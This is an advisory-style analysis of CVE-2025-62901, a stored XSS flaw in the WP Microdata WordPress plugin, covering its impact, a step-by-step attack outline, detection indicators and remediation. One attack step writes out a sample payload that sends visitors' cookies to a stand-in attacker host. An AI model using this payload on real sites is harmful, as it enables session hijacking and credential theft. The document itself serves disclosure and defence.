CVE-2025-62901: 
WordPress vulnerability analysis and mitigation

CVE-2025-62901 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Microdata WordPress plugin developed by tormorten. It affects all versions up to and including 1.0, allowing authenticated attackers with low privileges to inject malicious scripts that are stored and later executed in victims' browsers. The vulnerability was published on December 21, 2025, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Red Hat CVE, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored variant. An authenticated attacker with low-level privileges can submit crafted input containing malicious JavaScript through the plugin's functionality, which is then stored in the database and rendered unsanitized in web pages viewed by other users. Exploitation requires user interaction (a victim must load the affected page) and the scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Red Hat CVE, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of the WordPress site. Because the scope is changed and the attack vector is network-based, the injected payload can affect users beyond the attacker's own session. Confidentiality, integrity, and availability are all assessed as having low impact per the CVSS scoring (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-62901 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term (ENISA EUVD, Feedly).

1. Reconnaissance: Identify WordPress sites running the WP Microdata plugin version 1.0 or earlier, using tools such as WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or log in as a low-privileged user (e.g., subscriber or contributor) on the target WordPress site.
3. Inject malicious payload: Submit a crafted input containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) through the WP Microdata plugin's input fields that lack proper sanitization.
4. Payload storage: The malicious script is stored in the WordPress database via the plugin's data handling.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the page where the stored payload is rendered, causing the script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform unauthorized actions as the administrator, or pivot to further compromise of the WordPress site (Red Hat CVE, ENISA EUVD).

• Logs: WordPress access logs showing POST requests to plugin-related endpoints from low-privileged user accounts containing encoded or obfuscated script tags (e.g., <script>, javascript:, onerror=).
• Database: Unexpected JavaScript or HTML script tags stored in WordPress database fields associated with the WP Microdata plugin's data tables.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages with WP Microdata content, potentially indicating cookie or credential exfiltration.
• Browser/Application: Unexpected redirects or pop-ups appearing for users visiting pages that use the WP Microdata plugin.

The primary remediation is to update or remove the WP Microdata plugin, as the vulnerability affects all versions up to and including 1.0. Site administrators should check whether a patched version has been released by the plugin author (tormorten) and apply it immediately. If no patch is available, disabling or uninstalling the plugin is recommended until a fix is provided. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation risk in the interim (Red Hat CVE, ENISA EUVD).